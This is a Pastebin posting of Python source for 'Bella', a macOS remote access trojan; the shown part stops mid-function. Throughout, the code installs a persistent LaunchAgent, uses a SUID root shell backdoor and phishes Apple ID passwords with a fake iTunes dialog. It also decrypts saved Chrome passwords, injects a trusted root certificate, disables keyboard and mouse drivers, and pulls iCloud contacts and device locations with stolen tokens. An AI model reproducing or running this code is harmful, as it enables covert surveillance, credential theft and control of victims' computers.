Guest User

bella

a guest
Mar 10th, 2017
1,841
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 99.54 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil
  4. import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast
  5. import StringIO, zipfile, hmac, tempfile, ssl, select
  6. from xml.etree import ElementTree as ET
  7. from subprocess import Popen, PIPE
  8. from glob import glob
  9. development = True
  10. def create_bella_helpers(launch_agent_name, bella_folder, home_path):
  11.     if development:
  12.         launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
  13.         <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
  14.         <plist version=\"1.0\">
  15.         <dict>
  16.             <key>Label</key>
  17.             <string>%s</string>
  18.             <key>ProgramArguments</key>
  19.             <array>
  20.                 <string>%s/Library/%s/Bella</string>
  21.             </array>
  22.             <key>StandardErrorPath</key>
  23.             <string>%s/Library/%s/Bella.stderr.log</string>
  24.             <key>StandardOutPath</key>
  25.             <string>%s/Library/%s/Bella.stdout.log</string>
  26.             <key>StartInterval</key>
  27.             <integer>5</integer>    
  28.         </dict>
  29.         </plist>\n""" % (launch_agent_name, home_path, bella_folder, home_path, bella_folder, home_path, bella_folder)
  30.     else:
  31.         launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
  32.         <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
  33.         <plist version=\"1.0\">
  34.         <dict>
  35.             <key>Label</key>
  36.             <string>%s</string>
  37.             <key>ProgramArguments</key>
  38.             <array>
  39.                 <string>%s/Library/%s/Bella</string>
  40.             </array>
  41.             <key>StartInterval</key>
  42.             <integer>5</integer>    
  43.         </dict>
  44.         </plist>\n""" % (launch_agent_name, home_path, bella_folder)
  45.  
  46.     if not os.path.isdir('%s/Library/LaunchAgents/' % home_path):
  47.         os.makedirs('%s/Library/LaunchAgents/' % home_path)
  48.     with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content:
  49.         content.write(launch_agent_create)
  50.     print 'Created Launch Agent'
  51.     print 'Moving Bella'
  52.     if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)):
  53.         os.makedirs('%s/Library/%s/' % (home_path, bella_folder))
  54.     if development:
  55.         with open(__file__, 'rb') as content:
  56.             with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary:
  57.                 binary.write(content.read())
  58.     else:
  59.         os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder))
  60.     os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777)
  61.     print 'Loading Launch Agent'
  62.     out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
  63.     if out == '':
  64.         time.sleep(1)
  65.         ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE)
  66.         ctl = ctl_list.stdout.read()
  67.         completed = False
  68.         for agent in ctl.splitlines():
  69.             if launch_agent_name in agent:
  70.                 completed = True
  71.         if completed:
  72.             print 'Loaded LaunchAgent'
  73.             print 'BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER.'
  74.             exit()
  75.         else:
  76.             pass
  77.             print 'Error loading LaunchAgent.'
  78.     elif 'service already loaded' in out:
  79.         print 'Bella is already loaded in LaunchCTL.'
  80.         exit()
  81.     else:
  82.         print out
  83.         pass
  84.     return
  85.  
  86. def globber(path): #if we are root, this globber will give us all paths
  87.     if os.getuid() != 0:
  88.         if is_there_SUID_shell():
  89.             (status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes
  90.             if status:
  91.                 return ast.literal_eval(msg) #convert string list to list
  92.     return glob(path)
  93.  
  94. def protected_file_lister(path):
  95.     if os.getuid() != 0:
  96.         if is_there_SUID_shell():
  97.             (status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes
  98.             if status:
  99.                 return ast.literal_eval(msg)
  100.     return os.listdir(path)
  101.  
  102. def protected_file_reader(path): #for reading files when we have a backdoor root shell
  103.     if os.getuid() != 0:
  104.         if is_there_SUID_shell():
  105.             (status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes
  106.             if status:
  107.                 return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns
  108.     if os.access(path, os.R_OK):
  109.         with open(path, 'r') as content:
  110.             return content.read()
  111.     return '[%s] is not accessible' % path
  112.  
  113. def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list
  114.     global payload_list
  115.     payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill
  116.     return True
  117.  
  118. def subprocess_cleanup(): #will clean up all of those in the global payload_list
  119.     global payload_list
  120.     for x in payload_list:
  121.         p = kill_pid(x[0])
  122.         #print 'Killed pid [%s]: %s' % (x[0], repr(p))
  123.         payload_cleaner()
  124.         #print 'removed payload [%s]: %s' % (x[1], repr(p))
  125.         if p:
  126.             print 'Killed and cleaned [%s]' % x[2]
  127.             payload_list.remove(x)
  128.  
  129. def update_server(updated_server):
  130.     with open(__file__, 'wb') as content:
  131.         content.write(updated_server)
  132.     send_msg('%sUpdated [%s] with new server code.\n' % (blue_star, __file__), False)
  133.     send_msg('%sRestarting server!\n' % (yellow_star), False)
  134.     send_msg(os.kill(bellaPID, 9), False)
  135.     return
  136.  
  137. def readDB(column, payload=False):
  138.     #we need the path specified below, because we cant read the helper location from DB without knowing what to read
  139.     conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
  140.     c = conn.cursor()
  141.     try:
  142.         if payload:
  143.             c.execute("SELECT %s FROM payloads WHERE id = 1" % column)
  144.         else:
  145.             c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID))
  146.         value = c.fetchone()[0]
  147.         if value == None:
  148.                 return False
  149.     except TypeError as e:
  150.         return False
  151.  
  152.     except sqlite3.OperationalError:
  153.         return False
  154.    
  155.     return base64.b64decode(value) #DECODES the data that updatedb ENCODES!
  156.  
  157. def updateDB(data, column):
  158.     data = base64.b64encode(data) #readDB will return this data DECODED
  159.     if not os.path.isfile("%sbella.db" % get_bella_path()):
  160.         creator = createDB()
  161.         if not creator[0]:
  162.             return (False, "Error creating database! [%s]" % creator[1])
  163.     conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
  164.     c = conn.cursor()
  165.     c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID)
  166.     if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
  167.         c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user()))
  168.     c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID))
  169.     conn.commit()
  170.     conn.close()
  171.     return (True, '')
  172.  
  173. def check_if_payloads():
  174.     conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
  175.     c = conn.cursor()
  176.     c.execute("SELECT * FROM payloads WHERE id = 1")
  177.     if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
  178.         return False
  179.     return True
  180.  
  181. def inject_payloads(payload_encoded):
  182.     conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
  183.     c = conn.cursor()
  184.     try:
  185.         (vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile, machRace) = payload_encoded.splitlines()
  186.         c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker, mach_race) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64'), machRace.encode('base64')))
  187.         conn.commit()
  188.         conn.close()
  189.         return True
  190.     except Exception as e:
  191.         print repr(e)
  192.         conn.close()
  193.         return False
  194.  
  195. def createDB():
  196.     try:
  197.         conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
  198.         c = conn.cursor()
  199.         c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, client_name text)")
  200.         c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text, mach_race text)")
  201.         conn.commit()
  202.         conn.close()
  203.         print "Created Bella DB"
  204.     except sqlite3.OperationalError as e:
  205.         if e[0] == "table bella already exists":
  206.             return (True, e)
  207.         else:
  208.             return (False, e) #some error
  209.     return (True, None)
  210.  
  211. def encrypt(data):
  212.     #This function will encode any given data into base64. It will then pass this encoded data as
  213.     #a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc
  214.     #using the master key specified at the top of the program. We encode the data so there are no unicode issues
  215.     #the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data
  216.     #this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a
  217.     #base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to
  218.     #the subroutine that called the function.
  219.     data = base64.b64encode(data)
  220.     encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
  221.     return encrypted
  222.  
  223. def decrypt(data):
  224.     #data = base64.b64decode(data)
  225.     decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
  226.     return base64.b64decode(decrypted)
  227.  
  228. def main_iCloud_helper():
  229.     error, errorMessage = False, False
  230.     dsid, token = "", ""
  231.     (username, password, usingToken) = iCloud_auth_process(False)
  232.     error = False
  233.     if password == False:
  234.         errorMessage = "%s%s" % (red_minus, username) #username will have the error message
  235.         error = True
  236.     else:
  237.         content = dsid_factory(username, password)
  238.         if content[0] == False:
  239.             errorMessage =content[1]
  240.             error = True
  241.         else:
  242.             try:
  243.                 (dsid, token, usingToken) = content
  244.             except ValueError, e:
  245.                 errorMessage = '\n'.join(content)
  246.                 error = True
  247.     return (error, errorMessage, dsid, token)
  248.  
  249. def byte_convert(byte):
  250.     for count in ['B','K','M','G']:
  251.         if byte < 1024.0:
  252.             return ("%3.1f%s" % (byte, count)).replace('.0', '')
  253.         byte /= 1024.0
  254.     return "%3.1f%s" % (byte, 'TB')
  255.  
  256. def cur_GUI_user():
  257.     try:
  258.         return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "")
  259.     except:
  260.         return "No Current GUI"
  261.  
  262. def check_output(cmd):
  263.     process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  264.     stderr = process.stderr.read()
  265.     stdout = process.stdout.read()
  266.     if process.wait() != 0:
  267.         print stderr
  268.         return (False, stderr, process.wait()) #failed, stderr, exit code
  269.     return (True, stdout, process.wait()) #completed successfully, stdout, exit code
  270.  
  271. def appleIDPhishHelp():
  272.     returnString = ""
  273.     for x in get_iTunes_accounts():
  274.         if x[0]:
  275.             returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1])
  276.         else:
  277.             pass
  278.     return pickle.dumps((returnString, cur_GUI_user()))
  279.  
  280. def appleIDPhish(username, GUIUser):
  281.     while True:
  282.         if sig_int_listener(): #user hit CTRLC, cancel.
  283.             return
  284.         check = applepwRead()
  285.         if isinstance(check, str): #we have file...
  286.             send_msg("%sApple password already found [%s] %s\n" % (blue_star, check, blue_star), False)
  287.             break
  288.         osa = "launchctl asuser " + str(bella_UID) + " osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"' -e 'text returned of result'"
  289.         #pauses music, then prompts user
  290.         out = check_output(osa)
  291.         if not out[0]:
  292.             #user has attempted to cancel
  293.             send_msg("[-] User has attempted to cancel. Trying again.\n", False)
  294.             continue
  295.         else:
  296.             out = out[1]
  297.             passw = out.replace('\n', '')
  298.             send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False)
  299.             try:
  300.                 request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
  301.                 base64string = base64.encodestring('%s:%s' % (username, passw)).replace('\n', '')
  302.                 request.add_header("Authorization", "Basic %s" % base64string)  
  303.                 result = urllib2.urlopen(request)
  304.                 out2 = result.read()
  305.             except Exception, e:
  306.                 if str(e) == "HTTP Error 401: Unauthorized":
  307.                     out2 = "fail?"
  308.                 elif str(e) == "HTTP Error 409: Conflict":
  309.                     out2 = "2sV"
  310.                 else:
  311.                     out2 = "otherError!"
  312.  
  313.             if out2 == "fail?":
  314.                 send_msg(red_minus + "Bad combo: [%s:%s]\n" % (username, passw), False)
  315.                 continue
  316.             elif out2 == "2sV":
  317.                 send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, username, passw, endANSI), False)
  318.                 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
  319.                 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
  320.                 break
  321.             elif out2 == "otherError!":
  322.                 send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, username, passw), False)
  323.                 break
  324.             else:
  325.                 send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, username, passw, endANSI), False)
  326.                 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
  327.                 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
  328.                 break
  329.     send_msg('', True)
  330.     return 1
  331.  
  332. def is_there_SUID_shell():
  333.     if os.getuid() == 0:
  334.         return True
  335.  
  336.     if os.path.isfile(ROOT_SHELL_PATH):
  337.         return True
  338.  
  339.     if local_pw_read():
  340.         #send_msg("%sLocal PW present.\n" % greenPlus, False)
  341.         binarymake = make_SUID_root_binary(local_pw_read(), None)
  342.         #send_msg(binarymake[1], False)
  343.         if binarymake[0]: #we have successfully created a temp root shell
  344.             return True
  345.         return False
  346.  
  347.     return False
  348.  
  349. def remove_SUID_shell():
  350.     if os.path.isfile(ROOT_SHELL_PATH):
  351.         try:
  352.             os.system('%s rm %s > /dev/null' % (ROOT_SHELL_PATH, ROOT_SHELL_PATH))
  353.             #send_msg('%sRemoved temporary root shell.\n' % yellow_star, False) #%
  354.         except Exception as e:
  355.             pass
  356.             #send_msg('%sError removing temporary root shell @ /usr/local/roots. You should delete this manually.\n' % red_minus , False)
  357.     return
  358.  
  359. def do_root(command):
  360.     if os.getuid() == 0:
  361.         output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  362.         out = output.stdout.read()
  363.         err = output.stderr.read()
  364.         if output.wait() != 0:
  365.             return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
  366.         return (True, "%s\n" % out)
  367.     else:
  368.         if not is_there_SUID_shell():
  369.             return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
  370.         output = subprocess.Popen("%s \"%s\"" % (ROOT_SHELL_PATH, command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  371.         out = output.stdout.read()
  372.         err = output.stderr.read()
  373.         if err != '':
  374.             return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
  375.         return (True, "%s\n" % out)
  376.  
  377. def cert_inject(cert):
  378.     cPath = tempfile.mkdtemp()
  379.     with open('%scert.crt' % cPath, 'w') as content:
  380.         content.write(cert)
  381.     temp_file_list.append(cPath)
  382.     (success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /System/Library/Keychains/SystemRootCertificates.keychain %scert.crt" % cPath)
  383.     if not success:
  384.         return "%sError injecting root CA into System Keychain:\n%s" % (red_minus, msg)
  385.     payload_cleaner()
  386.     return "%sCertificate Authority injected into System Keychain!\n" % yellow_star
  387.  
  388. def cert_remove(shahash):
  389.     (success, msg) = do_root("security delete-certificate -Z %s /System/Library/Keychains/SystemRootCertificates.keychain" % shahash)
  390.     if not success:
  391.         return "%sError removing root CA from System Keychain:\n%s" % (red_minus, msg)
  392.     return "%sCertificate Authority removed from System Keychain!\n" % yellow_star
  393.  
  394. def check_current_users():
  395.     output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}")
  396.     if not output[0]:
  397.         return "Error finding current users.\n"
  398.     return output[1]
  399.  
  400. def check_pid(pid):        
  401.     try:
  402.         os.kill(pid, 0)
  403.     except OSError:
  404.         return False
  405.     else:
  406.         return True
  407.  
  408. def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
  409.     hexKey = binascii.hexlify(key)
  410.     hexEncPassword = base64.b64encode(encrypted_value[3:])
  411.     decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword))
  412.     if not decrypted[0]:
  413.         decrypted = "ERROR retrieving password.\n"
  414.     return decrypted[1] #otherwise we got it
  415.  
  416. def chrome_dump(safe_storage_key, login_data):
  417.     send_msg("%s%sPasswords for [%s]%s:\n" % (yellow_star, bold + underline, login_data.split("/")[-2], endANSI), False)
  418.     empty = True
  419.     for i, x in enumerate(chrome_process(safe_storage_key, "%s" % login_data)):
  420.         send_msg("%s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ("\033[32m", (i + 1), "\033[0m", "\033[1m", x[0], "\033[0m", "\033[32m", "\033[0m", x[1], "\033[32m", "\033[0m", x[2]), False)
  421.         empty = False
  422.     if not empty:
  423.         send_msg('', False)
  424.     else:
  425.         send_msg("%sFound no Chrome Passwords for [%s].\n" % (blue_star, login_data.split("/")[-2]), False)
  426.  
  427. def chrome_process(safe_storage_key, login_data):
  428.     iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
  429.     key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
  430.     copypath = tempfile.mkdtemp() #work around for locking DB
  431.     dbcopy = protected_file_reader(login_data) #again, shouldnt matter because we only can decrypt DBs with keys
  432.     with open('%s/chrome' % copypath, 'wb') as content:
  433.         content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy
  434.     database = sqlite3.connect('%s/chrome' % copypath)
  435.     sql = 'select username_value, password_value, origin_url from logins'
  436.     decrypted_list = []
  437.     with database:
  438.         for user, encrypted_pass, url in database.execute(sql):
  439.             if user == "" or (encrypted_pass[:3] != b'v10'): #user will be empty if they have selected "never" store password
  440.                 continue
  441.             else:
  442.                 url_user_pass_decrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chrome_decrypt(encrypted_pass, iv, key=key).encode('ascii', 'ignore'))
  443.                 decrypted_list.append(url_user_pass_decrypted)
  444.     shutil.rmtree(copypath)
  445.     return decrypted_list
  446.  
  447. def chrome_safe_storage():
  448.     retString = ""
  449.     check = chromeSSRead()
  450.     if isinstance(check, str):
  451.         send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True)
  452.         return
  453.     while True:
  454.         ### CTRLC listener
  455.         if sig_int_listener(): #user hit CTRLC, cancel.
  456.             return
  457.         kchain = getKeychains()
  458.         send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
  459.        
  460.         encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n
  461.         if not encryptionKey[0]:
  462.             if 51 == encryptionKey[2]:
  463.                 send_msg("%sUser clicked deny.\n" % red_minus, False)
  464.                 continue
  465.             elif 44 == encryptionKey[2]:
  466.                 send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True)
  467.                 return
  468.             else:
  469.                 send_msg("Strange error [%s]\n" % encryptionKey[1], True)
  470.                 return
  471.         updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it
  472.         send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True)
  473.         return
  474.  
  475. def disable_keyboard_mouse(device):
  476.     paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
  477.     (success, msg) = do_root("kextunload %s" % paths[device])
  478.     if not success:
  479.         return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg)
  480.     return "%s%s successfully disabled!\n" % (greenPlus, device)
  481.  
  482. def dsid_factory(uname, passwd):
  483.     resp = None
  484.     req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname)
  485.     req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd)))
  486.     req.add_header('Content-Type', 'application/json')
  487.     try:
  488.         resp = urllib2.urlopen(req)
  489.     except urllib2.HTTPError as e:
  490.         if e.code != 200:
  491.             if e.code == 401:
  492.                 return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False)
  493.             elif e.code == 409:
  494.                 tokenLocal = tokenRead()
  495.                 if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw                    
  496.                     dsid = tokenLocal.split("\n")[1].split(":")[0]
  497.                     tokz = tokenLocal.split("\n")[1].split(":")[1]
  498.                     return (dsid, tokz, True)
  499.                 else:
  500.                     return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False)
  501.             elif e.code == 404:
  502.                 return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False)
  503.             else:
  504.                 return (False, "HTTP Error %s." % e.code, False)
  505.         else:
  506.             return e
  507.     content = resp.read()
  508.     uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID
  509.     passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token
  510.     return (uname, passwd, False) #third value is "usingToken?"
  511.  
  512. def enable_keyboard_mouse(device):
  513.     paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
  514.     (success, msg) = do_root("kextload %s" % paths[device])
  515.     if not success:
  516.         return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg)
  517.     return "%s%s successfully enabled!\n" % (greenPlus, device)
  518.  
  519. def enumerate_chrome_profiles():
  520.     return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data")
  521.  
  522. def FMIP(username, password):
  523.     i = 0
  524.     try: #if we are given a FMIP token, change auth Type
  525.         int(username)
  526.         authType = "Forever"
  527.     except ValueError: #else apple id use useridguest
  528.         authType = "UserIDGuest"
  529.     while True:
  530.         i +=1
  531.         url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username
  532.         headers = {
  533.             'X-Apple-Realm-Support': '1.0',
  534.             'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)),
  535.             'X-Apple-Find-API-Ver': '3.0',
  536.             'X-Apple-AuthScheme': '%s' % authType,
  537.             'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0',
  538.         }
  539.         request = urllib2.Request(url, None, headers)
  540.         request.get_method = lambda: "POST"
  541.         try:
  542.             response = urllib2.urlopen(request)
  543.             z = json.loads(response.read())
  544.         except urllib2.HTTPError as e:
  545.             if e.code == 401:
  546.                 return "Authorization Error 401. Try credentials again."
  547.             if e.code == 403:
  548.                 pass #can ignore
  549.             raise e
  550.         if i == 2: #loop twice / send request twice
  551.             break
  552.         send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False)
  553.         send_msg("Awaiting response from iCloud...\n", False)
  554.         #okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break
  555.         time.sleep(5)
  556.     send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False)
  557.     i = 1
  558.     for y in z["content"]:
  559.         try:
  560.             send_msg("Device [%s]\n" % i, False)
  561.             i += 1
  562.             send_msg("Model: %s\n" % y["deviceDisplayName"], False)
  563.             send_msg("Name: %s\n" % y["name"], False)
  564.             timeStamp = y["location"]["timeStamp"] / 1000
  565.             timeNow = time.time()
  566.             timeDelta = timeNow - timeStamp #time difference in seconds
  567.             minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
  568.             hours, minutes = divmod(minutes, 60)
  569.             timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
  570.             if hours > 0:
  571.                 timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0])
  572.             else:
  573.                 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0])
  574.             send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False)
  575.             send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False)
  576.             send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False)
  577.             send_msg("-------\n", False)
  578.         except TypeError,e :
  579.             send_msg("\033[92mCould not get GPS lock!\033[0m\n", False)
  580.     send_msg('', True)
  581.     return 0
  582.  
  583. def get_card_links(dsid, token):
  584.     url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
  585.     headers = {
  586.         'Depth': '1',
  587.         'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
  588.         'Content-Type': 'text/xml',
  589.     }
  590.     data = """<?xml version="1.0" encoding="UTF-8"?>
  591.     <A:propfind xmlns:A="DAV:">
  592.       <A:prop>
  593.         <A:getetag/>
  594.       </A:prop>
  595.     </A:propfind>
  596.     """
  597.     request = urllib2.Request(url, data, headers)
  598.     request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull
  599.     response = urllib2.urlopen(request)
  600.     zebra = ET.fromstring(response.read())
  601.     returnedData = """<?xml version="1.0" encoding="UTF-8"?>
  602.     <F:addressbook-multiget xmlns:F="urn:ietf:params:xml:ns:carddav">
  603.       <A:prop xmlns:A="DAV:">
  604.         <A:getetag/>
  605.         <F:address-data/>
  606.       </A:prop>\n"""
  607.     for response in zebra:
  608.         for link in response:
  609.             href = response.find('{DAV:}href').text #get each link in the tree
  610.         returnedData += "<A:href xmlns:A=\"DAV:\">%s</A:href>\n" % href
  611.     return "%s</F:addressbook-multiget>" % str(returnedData)
  612.  
  613. def get_card_data(dsid, token):
  614.     url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
  615.     headers = {
  616.         'Content-Type': 'text/xml',
  617.         'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
  618.     }
  619.     data = get_card_links(dsid, token)
  620.     request = urllib2.Request(url, data, headers)
  621.     request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull
  622.     response = urllib2.urlopen(request)
  623.     zebra = ET.fromstring(response.read())
  624.     i = 0
  625.     contactList, phoneList, cards = [], [], []
  626.     for response in zebra:
  627.         tel, contact, email = [], [], []
  628.         name = ""
  629.         vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text
  630.         if vcard:
  631.             for y in vcard.splitlines():
  632.                 if y.startswith("FN:"):
  633.                     name = y[3:]
  634.                 if y.startswith("TEL;"):
  635.                     tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore")))
  636.                 if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
  637.                     email.append(y.split(":")[-1])
  638.             cards.append(([name], tel, email))
  639.     return sorted(cards)
  640.  
  641. def get_iTunes_accounts():
  642.     iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user
  643.     returnList = []
  644.     for x in iClouds:
  645.         database = sqlite3.connect(x)
  646.         try:
  647.             accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'"))
  648.             username = accounts[0][0] #gets just the first account, no multiuser support yet
  649.             returnList.append((True, username, x.split("/")[2]))
  650.         except Exception, e:
  651.             if str(e) == "list index out of range":
  652.                 returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2]))
  653.             else:
  654.                 returnList.append((False, "%s\n" % str(e), x.split("/")[2]))
  655.     return returnList
  656.  
  657. def get_model():
  658.     model = readDB('model')
  659.     if not model:
  660.         return model
